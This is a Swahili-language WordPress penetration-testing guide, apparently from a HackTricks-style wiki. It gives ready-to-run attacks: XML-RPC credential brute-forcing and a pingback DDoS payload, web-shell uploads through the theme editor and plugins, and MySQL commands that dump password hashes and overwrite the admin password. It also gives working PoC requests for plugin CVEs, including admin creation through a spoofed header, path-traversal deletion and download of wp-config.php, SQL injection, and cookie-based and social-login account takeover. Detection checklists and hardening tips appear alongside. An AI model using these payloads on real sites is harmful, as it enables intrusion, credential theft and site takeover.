Wordpress

Reading time: 32 minutes

Taarifa za Msingi

• Uploaded files go to: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

• Themes files can be found in /wp-content/themes/, so if you change some php of the theme to get RCE you probably will use that path. For example: Using theme twentytwelve you can access the 404.php file in: /wp-content/themes/twentytwelve/404.php

• Another useful url could be: /wp-content/themes/default/404.php

• Katika wp-config.php unaweza kupata password ya root ya database.

• Njia za kuingia za default za kuchunguza: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Faili Muhimu za WordPress

• index.php
• license.txt ina taarifa muhimu kama toleo la WordPress lililosanikishwa.
• wp-activate.php inatumika kwa mchakato wa uthibitisho wa email wakati wa kuanzisha tovuti mpya ya WordPress.
• Folda za login (zinaweza kubadilishwa jina ili kuzificha):
• /wp-admin/login.php
• /wp-admin/wp-login.php
• /login.php
• /wp-login.php
• xmlrpc.php ni faili inayowakilisha kipengele cha WordPress kinachowezesha data kutumwa kwa kutumia HTTP kama mekanisma ya usafirishaji na XML kama mekanisma ya ufafanuzi. Aina hii ya mawasiliano imebadilishwa na WordPress REST API.
• Kabrasha la wp-content ndilo saraka kuu ambapo plugins na themes zinahifadhiwa.
• wp-content/uploads/ ni saraka ambapo faili zote zilizopakiwa kwenye jukwaa zinahifadhiwa.
• wp-includes/ Hii ni saraka ambapo faili za msingi zinahifadhiwa, kama vyeti, fonts, faili za JavaScript, na widgets.
• wp-sitemap.xml Katika toleo la WordPress 5.5 na zaidi, WordPress inazalisha faili ya sitemap XML yenye machapisho yote ya umma na aina za posti zinazoweza kuombwa hadharani na taxonomies.

Post exploitation

• The wp-config.php file contains information required by WordPress to connect to the database such as the database name, database host, username and password, authentication keys and salts, and the database table prefix. This configuration file can also be used to activate DEBUG mode, which can useful in troubleshooting.

Ruhusa za watumiaji

• Administrator
• Editor: Kuchapisha na kusimamia machapisho yake na ya wengine
• Author: Kuchapisha na kusimamia machapisho yake mwenyewe
• Contributor: Kuandika na kusimamia machapisho yake lakini hawezi kuyachapisha
• Subscriber: Kusoma machapisho na kuhariri wasifu wao

Uchunguzi wa Kiasili

Pata toleo la WordPress

Angalia kama unaweza kupata faili /license.txt au /readme.html

Ndani ya source code ya ukurasa (mfano kutoka https://wordpress.org/support/article/pages/):

• grep

curl https://victim.com/ | grep 'content="WordPress'

• meta name

• Faili za link za CSS

• Faili za JavaScript

Pata Plugins

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Pata Mandhari

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Kutoa matoleo kwa ujumla

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Active enumeration

Plugins na Themes

Huenda hautaweza kupata Plugins na Themes zote zinazowezekana. Ili kuzitambua zote, utahitaji actively Brute Force a list of Plugins and Themes (tumaini letu ni kwamba kuna zana za otomatiki zinazoshikilia orodha hizi).

Watumiaji

• ID Brute: Unapata watumiaji halali kutoka kwenye tovuti ya WordPress kwa Brute Forcing users IDs:

curl -s -I -X GET http://blog.example.com/?author=1

Ikiwa majibu ni 200 au 30X, hiyo ina maana kwamba id ni halali. Ikiwa jibu ni 400, basi id ni batili.

• wp-json: Unaweza pia kujaribu kupata taarifa kuhusu watumiaji kwa kuuliza:

curl http://blog.example.com/wp-json/wp/v2/users

Endpoint mwingine wa /wp-json/ ambao unaweza kufunua taarifa fulani kuhusu watumiaji ni:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Kumbuka kuwa endpoint hii inaonyesha tu watumiaji waliofanya chapisho. Taarifa tu kuhusu watumiaji ambao kipengele hiki kimewezeshwa zitatolewa.

Pia kumbuka kuwa /wp-json/wp/v2/pages inaweza leak IP addresses.

• Login username enumeration: Unapoingia kwenye /wp-login.php, ujumbe ni tofauti kulingana na kama username iliyotajwa ipo au la.

XML-RPC

Ikiwa xml-rpc.php iko active unaweza kufanya credentials brute-force au kuitumia kuanzisha mashambulizi ya DoS kwa rasilimali nyingine. (You can automate this process using this for example).

Ili kuona kama iko active, jaribu kufikia /xmlrpc.php na tuma ombi hili:

Angalia

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories au metaWeblog.getUsersBlogs ni baadhi ya mbinu zinazoweza kutumika kufanya brute-force kwa credentials. Ikiwa unaweza kupata yoyote yao unaweza kutuma kitu kama:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Ujumbe "Incorrect username or password" ndani ya 200 code response unapaswa kuonekana ikiwa credentials hazitakuwa sahihi.

Kwa kutumia credentials sahihi unaweza kupakia faili. Katika response path itaonekana (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Pia kuna njia ya haraka zaidi ya brute-force credentials ukitumia system.multicall kwani unaweza kujaribu credentials kadhaa kwenye ombi moja:

Bypass 2FA

Njia hii imetengenezwa kwa programs na si za wanadamu, na ni ya zamani, kwa hivyo haitegemei 2FA. Kwa hivyo, ikiwa una valid creds lakini mlango kuu umehifadhiwa kwa 2FA, unaweza kuabusu xmlrpc.php ku-login kwa kutumia hao creds na kupita 2FA. Kumbuka kuwa hutaweza kutekeleza vitendo vyote unavyoweza kupitia console, lakini bado unaweza kufikia RCE kama Ippsec anavyoelezea katika https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS or port scanning

Ikiwa utaweza kupata method pingback.ping ndani ya orodha unaweza kufanya Wordpress itume ombi lolote kwa host/port yoyote.
Hii inaweza kutumika kuomba maelfu ya Wordpress sites kuaccess eneo moja (hivyo kusababisha DDoS eneo hilo) au unaweza kuitumia kufanya Wordpress iscan baadhi ya internal network (unaweza kuonyesha port yoyote).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Ikiwa unapata faultCode yenye thamani kubwa kuliko 0 (17), ina maana port iko wazi.

Angalia matumizi ya system.multicall katika sehemu iliyopita ili kujifunza jinsi ya kuitumia vibaya ili kusababisha DDoS.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Faili hii kawaida huiwepo chini ya root ya Wordpress site: /wp-cron.php
Wakati faili hii ikiwa accessed hufanyika "heavy" MySQL query, hivyo inaweza kutumiwa na attackers kusababisha DoS.
Pia, kwa default, wp-cron.php huitwa kila page load (kila mara client anapoomba ukurasa wowote wa Wordpress), jambo ambalo kwenye maeneo yenye trafiki kubwa linaweza kusababisha matatizo (DoS).

Inashauriwa kuzima Wp-Cron na kuunda cronjob halisi ndani ya host ili ifanye vitendo vinavyohitajika kwa vipindi vya kawaida (bila kusababisha matatizo).

/wp-json/oembed/1.0/proxy - SSRF

Jaribu kufikia https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net na tovuti ya Worpress inaweza kutuma request kwako.

Hii ndiyo response inapotakuwa haifanyi kazi:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

Tool hii inakagua kama methodName: pingback.ping ipo na pia path /wp-json/oembed/1.0/proxy, na ikiwa zipo, inajaribu kuzi-exploit.

Zana za Otomatiki

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Pata ufikiaji kwa kubadilisha bit

Hii ni zaidi ya udadisi kuliko shambulio halisi. Katika CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man ulikuwa unaweza kugeuza 1 bit kutoka kwa faili yoyote ya wordpress. Kwa hivyo ungeweza kugeuza nafasi 5389 ya faili /var/www/html/wp-includes/user.php ili kuifanya operesheni ya NOT (!) kuwa NOP.

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

RCE ya Paneli

Kubadilisha faili ya php ya theme inayotumika (inahitaji nyaraka za admin)

Appearance → Theme Editor → 404 Template (kwa upande wa kulia)

Badilisha yaliyomo kwa php shell:

Tafuta mtandaoni jinsi ya kufikia ukurasa uliosasishwa. Katika kesi hii unapaswa kufikia hapa: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Unaweza kutumia:

use exploit/unix/webapp/wp_admin_shell_upload

kupata session.

Plugin RCE

PHP plugin

Inaweza kuwa inawezekana kupakia faili za .php kama plugin.
Unda PHP backdoor yako kwa mfano:

Kisha ongeza plugin mpya:

Pakia plugin kisha bonyeza Install Now:

Bonyeza Proceed:

Huenda hii isifanye chochote kwa dhati, lakini ukienda Media, utaona shell yako imepakiwa:

Fikia hiyo na utaona URL ya kutekeleza reverse shell:

Uploading and activating malicious plugin

Njia hii inahusisha usakinishaji wa malicious plugin inayojulikana kuwa vulnerable na inaweza kutumiwa kupata web shell. Mchakato huu unafanywa kupitia WordPress dashboard kama ifuatavyo:

1. Plugin Acquisition: Plugin hupatikana kutoka kwenye chanzo kama Exploit DB kama here.
2. Plugin Installation:

• Navigate to the WordPress dashboard, then go to Dashboard > Plugins > Upload Plugin.
• Upload the zip file of the downloaded plugin.

3. Plugin Activation: Mara plugin inapowekwa kwa mafanikio, lazima iamishwe kupitia dashboard.
4. Exploitation:

• With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
• The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
• It's noted that this is just one of the many methods to exploit a WordPress site.

Yaliyomo yanajumuisha msaada wa kuona unaoonyesha hatua kwenye WordPress dashboard za kusakinisha na kuamsha plugin. Hata hivyo, ni muhimu kuelewa kwamba kutumia udhaifu kwa njia hii ni kinyume cha sheria na si ya maadili bila idhini stahiki. Taarifa hizi zitumike kwa uwajibikaji na tu katika muktadha halali, kama pentesting kwa idhini dhahiri.

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

Kutoka XSS hadi RCE

• WPXStrike: WPXStrike ni script iliyoundwa kukuza Cross-Site Scripting (XSS) vulnerability hadi Remote Code Execution (RCE) au vunja usalama mwingine hatari katika WordPress. Kwa habari zaidi angalia this post. Inatoa msaada kwa WordPress Versions 6.X.X, 5.X.X na 4.X.X na inaruhusu:
• Privilege Escalation: Creates an user in WordPress.
• (RCE) Custom Plugin (backdoor) Upload: Upload your custom plugin (backdoor) to WordPress.
• (RCE) Built-In Plugin Edit: Edit a Built-In Plugins in WordPress.
• (RCE) Built-In Theme Edit: Edit a Built-In Themes in WordPress.
• (Custom) Custom Exploits: Custom Exploits for Third-Party WordPress Plugins/Themes.

Post Exploitation

Chota usernames na passwords:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Badilisha password ya admin:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Attack Surface

Kujua jinsi Wordpress plugin inavyoweza kufichua functionality ni muhimu ili kupata vulnerabilities kwenye functionality yake. Unaweza kuona jinsi plugin inaweza kufichua functionality katika pointi zifuatazo na baadhi ya mifano ya vulnerable plugins katika this blog post.

• wp_ajax

Mojawapo ya njia plugin inaweza kufichua functions kwa users ni kupitia AJAX handlers. Hizi zinaweza kuwa na logic, authorization, au authentication bugs. Zaidi ya hayo, mara nyingi hizi functions zitategemea authentication na authorization kwa kuwepo kwa Wordpress nonce ambayo any user authenticated in the Wordpress instance might have (independently of its role).

Hizi ni functions ambazo zinaweza kutumika kufichua function katika plugin:

add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

Matumizi ya nopriv hufanya endpoint ipatikane kwa watumiaji wote (hata wale wasio na uthibitisho).

• REST API

Inawezekana pia kufichua functions kutoka wordpress kwa kusajili REST API kwa kutumia function register_rest_route:

register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

The permission_callback ni callback ya kazi inayokagua ikiwa mtumiaji aliyotajwa ameidhinishwa kuita njia ya API.

Ikiwa kazi ya ndani ya kujengwa __return_true itatumiwa, itapita tu ukaguzi wa ruhusa za mtumiaji.

• Ufikiaji wa moja kwa moja wa faili la php

Hakika, Wordpress inatumia PHP na faili ndani ya plugins zinaweza kupatikana moja kwa moja kutoka kwenye wavuti. Hivyo, endapo plugin inaonyesha utendaji wenye udhaifu unaochochewa tu kwa kufungua faili hilo, utakuwa rahisi kutumiwa na mtumiaji yeyote.

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

Baadhi ya plugins hutekeleza “trusted header” njia za mkato kwa integrasiyo za ndani au reverse proxies kisha hutumia header hiyo kuweka muktadha wa mtumiaji wa sasa kwa maombi ya REST. Ikiwa header haifungwi kwa njia ya kriptografia kwenye ombi na sehemu ya juu, mshambuliaji anaweza kuifanya spoof na kufikia routes za REST zenye marufuku kama administrator.

• Athari: kuinuka kwa ruhusa bila uthibitisho hadi admin kwa kuunda administrator mpya kupitia core users REST route.
• Mfano wa header: X-Wcpay-Platform-Checkout-User: 1 (lazimisha user ID 1, kawaida akaunti ya kwanza ya administrator).
• Njia iliyotumiwa: POST /wp-json/wp/v2/users na array ya role iliyoongezwa.

PoC

POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Why it works

• Plugin inamepanga header inayodhibitiwa na mteja kwenye hali ya uthibitisho na inapuuza ukaguzi wa capability.
• Msingi wa WordPress unatarajia create_users capability kwa route hii; hack ya plugin inalipa kizuizi hicho kwa kuweka moja kwa moja muktadha wa mtumiaji wa sasa kutoka kwa header.

Expected success indicators

• HTTP 201 with a JSON body describing the created user.
• Mtumiaji mpya wa admin anaonekana katika wp-admin/users.php.

Detection checklist

• Grep for getallheaders(), $_SERVER['HTTP_...'], or vendor SDKs that read custom headers to set user context (e.g., wp_set_current_user(), wp_set_auth_cookie()).
• Review REST registrations for privileged callbacks that lack robust permission_callback checks and instead rely on request headers.
• Look for usages of core user-management functions (wp_insert_user, wp_create_user) inside REST handlers that are gated only by header values.

Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)

Mandhari na plugins za WordPress mara nyingi huweka wazi AJAX handlers kupitia hooks wp_ajax_ na wp_ajax_nopriv_. Wakati toleo nopriv linapotumika callback inakuwa inafikiwa na wageni wasio na uthibitisho, kwa hivyo kitendo chochote nyeti kinapaswa pia kutekelezwa:

1. Ukaguzi wa capability (mfano current_user_can() au angalau is_user_logged_in()), na
2. CSRF nonce iliyothibitishwa kwa check_ajax_referer() / wp_verify_nonce(), na
3. Uchujaji / uthibitishaji madhubuti wa ingizo.

Mandhari ya Litho multipurpose (< 3.1) ilisahau udhibiti hizo 3 katika kipengele cha Remove Font Family na hatimaye ilitoa code ifuatayo (imefupishwa):

function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

Masuala yaliyotokana na kipande hiki:

• Ufikiaji bila uthibitisho – hook ya wp_ajax_nopriv_ imejisajili.
• Hakuna ukaguzi wa nonce / capability – mgeni yeyote anaweza kufikia endpoint.
• Hakuna kusafishwa kwa njia – kamba inayodhibitiwa na mtumiaji fontfamily inaunganishwa kwenye njia ya filesystem bila kuchujwa, ikiruhusu classic ../../ traversal.

Utekelezaji

Mshambuliaji anaweza kufuta faili au saraka yoyote chini ya uploads base directory (kawaida <wp-root>/wp-content/uploads/) kwa kutuma ombi moja la HTTP POST:

curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Kwa sababu wp-config.php iko nje ya uploads, mfululizo wa ../ mara nne unatosha kwenye usakinishaji wa kawaida. Kufuta wp-config.php kunalazimisha WordPress kuingia kwenye msaidizi wa usanidi kwenye ziara inayofuata, na kuwezesha kuchukua tovuti kwa ukamilifu (mshambuliaji anatolewa tu usanidi mpya wa DB na kuunda mtumiaji admin).

Other impactful targets include plugin/theme .php files (to break security plugins) or .htaccess rules.

Detection checklist

• Kila callback ya add_action( 'wp_ajax_nopriv_...') inayoitisha filesystem helpers (copy(), unlink(), $wp_filesystem->delete(), etc.).
• Kuunganisha maingizo ya mtumiaji ambayo hayaja safishwa katika paths (tazama $_POST, $_GET, $_REQUEST).
• Ukosefu wa check_ajax_referer() na current_user_can()/is_user_logged_in().

Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")

Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., $_REQUEST['reset-for']) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.

Mfano wa dunia halisi ulipatikana katika Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Tawi la reset liliurejesha role kulingana na reset-for=<username> ikiwa jina la mtumiaji lilitokea katika array ya ndani $options['viewing_admin_as_role_are'], lakini halikufanya ukaguzi wa current_user_can() wala uthibitisho wa nonce kabla ya kuondoa role za sasa na kuongeza tena role zilizohifadhiwa kutoka user meta _asenha_view_admin_as_original_roles:

// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

Why it’s exploitable

• Inaamini $_REQUEST['reset-for'] na chaguo la plugin bila uthibitisho upande wa seva.
• Ikiwa mtumiaji hapo awali alikuwa na ruhusa za juu zilizohifadhiwa katika _asenha_view_admin_as_original_roles na alipunguzwa, anaweza kuzirejesha kwa kufikia reset path.
• Katika baadhi ya usanikishaji, mtumiaji yeyote aliyethibitishwa anaweza kusababisha reset kwa jina la mtumiaji mwingine ambalo bado lipo katika viewing_admin_as_role_are (idhinishaji lililovunjika).

Utekelezaji wa shambulio (mfano)

# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

Katika builds zilizo hatarini, hii inaondoa current roles na kuzirudisha tena saved original roles (mfano, administrator), na kwa ufanisi escalating privileges.

Detection checklist

• Tazama role-switching features ambazo zinaweka “original roles” ndani ya user meta (mfano, _asenha_view_admin_as_original_roles).
• Tambua reset/restore paths ambazo:
• Kusoma majina ya watumiaji kutoka $_REQUEST / $_GET / $_POST.
• Badilisha roles kupitia add_role() / remove_role() bila current_user_can() na wp_verify_nonce() / check_admin_referer().
• Kuruhusu kwa msingi wa plugin option array (mfano, viewing_admin_as_role_are) badala ya capabilities za mhusika.

Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)

Baadhi ya plugins huhusisha user-switching helpers na public init hook na hupata utambulisho kutoka kwa cookie inayoendeshwa na mteja. Ikiwa code inaita wp_set_auth_cookie() bila kuthibitisha authentication, capability na nonce halali, mgeni yeyote asiye na uthibitisho anaweza kulazimisha login kama arbitrary user ID.

Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):

function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

Kwa nini inaweza kutumiwa

• Hook ya umma init inafanya handler upatikane kwa watumiaji wasiothibitishwa (hakuna kinga ya is_user_logged_in()).
• Utambulisho unatokana na cookie inayoweza kubadilishwa na mteja (original_user_id).
• Kuitwa moja kwa moja kwa wp_set_auth_cookie($uid) hufanya mwombaji aingie kama mtumiaji huyo bila ukaguzi wowote wa capability/nonce.

Exploitation (unauthenticated)

GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

WAF considerations for WordPress/plugin CVEs

WAFs za edge/server za kawaida zimewekwa kwa mifumo pana (SQLi, XSS, LFI). Mengi ya mdudu wa WordPress/plugin wenye athari kubwa ni bug za mantiki/uthibitisho za programu ambazo zinaonekana kama trafiki isiyo hatari isipokuwa engine inafahamu routes za WordPress na semantics za plugin.

Offensive notes

• Lenga endpoints maalum za plugin kwa payloads safi: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
• Anzisha kwa njia zisizo za uthibitisho kwanza (AJAX nopriv, REST with permissive permission_callback, public shortcodes). Payloads za default mara nyingi hufanikiwa bila kufichwa.
• Mifano ya kawaida yenye athari kubwa: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.

Defensive notes

• Usitegemee saini za WAF za kawaida ili kulinda plugin CVEs. Tekeleza virtual patches maalum kwa tabaka la application kwa ajili ya hitilafu au sasisha haraka.
• Nenda kwa positive-security checks ndani ya code (capabilities, nonces, strict input validation) badala ya vichujio hasi vya regex.

WordPress Protection

Regular Updates

Hakikisha WordPress, plugins, na themes zimesasishwa. Pia thibitisha kwamba sasisho za moja kwa moja zimewezeshwa katika wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Pia, wasakinishe tu WordPress plugins na themes zinazoweza kuaminiwa.

Plugins za Usalama

• Wordfence Security
• Sucuri Security
• iThemes Security

Mapendekezo Mengine

• Ondoa mtumiaji wa chaguo-msingi admin
• Tumia nenosiri imara na 2FA
• Mara kwa mara kagua idhinishaji za watumiaji
• Punguza majaribio ya kuingia ili kuzuia mashambulizi ya Brute Force
• Badili jina la faili wp-admin.php na ruhusu ufikiaji tu ndani au kutoka anwani za IP maalum.

SQL Injection isiyo na uthibitisho kupitia uhalalishaji usio wa kutosha (WP Job Portal <= 2.3.2)

Plugin ya uajiri ya WP Job Portal ilifunua kazi ya savecategory ambayo hatimaye inatekeleza msimbo ufuatao wenye hatari ndani ya modules/category/model.php::validateFormData():

$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Masuala yaliyotokana na kipande hiki cha msimbo:

1. Ingizo la mtumiaji lisilosafishwa – parentid linaelekezwa moja kwa moja kutoka kwa ombi la HTTP.
2. String concatenation ndani ya WHERE clause – hakuna is_numeric() / esc_sql() / prepared statement.
3. Ufikiaji bila uthibitisho – ingawa hatua inatekelezwa kupitia admin-post.php, ukaguzi pekee uliopo ni CSRF nonce (wp_verify_nonce()), ambao mgeni yeyote anaweza kuupata kutoka ukurasa wa umma unaojumuisha shortcode [wpjobportal_my_resumes].

Utekelezaji

1. Pata nonce mpya:

curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4

2. Ingiza arbitrary SQL kwa kutumia parentid:

curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

Jibu linafunua matokeo ya query iliyotiwa au hubadilisha database, kuthibitisha SQLi.

Ufikiaji bila uthibitisho Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)

Kazi nyingine, downloadcustomfile, iliruhusu wageni kupakua faili yoyote kwenye diski kupitia path traversal. Sink yenye udhaifu iko katika modules/customfield/model.php::downloadCustomUploadedFile():

$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name inadhibitiwa na mshambulizi na imeunganishwa bila kusafishwa. Mara nyingine, kizuizi pekee ni CSRF nonce ambayo inaweza kupatikana kutoka kwenye ukurasa wa resume.

Utekelezaji wa shambulio

curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

Seva inajibu na yaliyomo ya wp-config.php, leaking DB credentials and auth keys.

Kuchukua akaunti bila uthibitisho kupitia Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)

Mada/plugini nyingi zinakuja na "social login" helpers zilizofunguliwa kupitia admin-ajax.php. Ikiwa action ya AJAX isiyothibitishwa (wp_ajax_nopriv_...) inamwamini kitambulisho kilichotolewa na mteja wakati data ya provider haipo na kisha inaitisha wp_set_auth_cookie(), hii inakuwa bypass kamili ya uthibitisho.

Mfano wa kawaida wa muundo mbovu (imefupishwa)

public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb':     /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token   */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}

// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');

if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}

$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);

Kwa nini inaweza kutumika

• Inafikiwa bila uthibitisho kupitia admin-ajax.php (wp_ajax_nopriv_… action).
• Hakuna ukaguzi wa nonce/capability kabla ya mabadiliko ya hali.
• Hakuna uthibitisho wa OAuth/OpenID provider; tawi la default linakubali pembejeo ya mdukuji.
• get_user_by('email', $_POST['id']) ikifuatiwa na wp_set_auth_cookie($uid) inamthibitisha muombaji kama anwani yoyote ya barua pepe iliyopo.

Utekelezaji (bila uthibitisho)

• Mahitaji: mdukuji anaweza kufikia /wp-admin/admin-ajax.php na anajua/anakisia barua pepe ya mtumiaji halali.
• Weka provider kuwa thamani isiyoungwa mkono (au uiachie) ili kufikia tawi la default na kupitisha id=<victim_email>.

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded

action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com

curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"

Expected success indicators

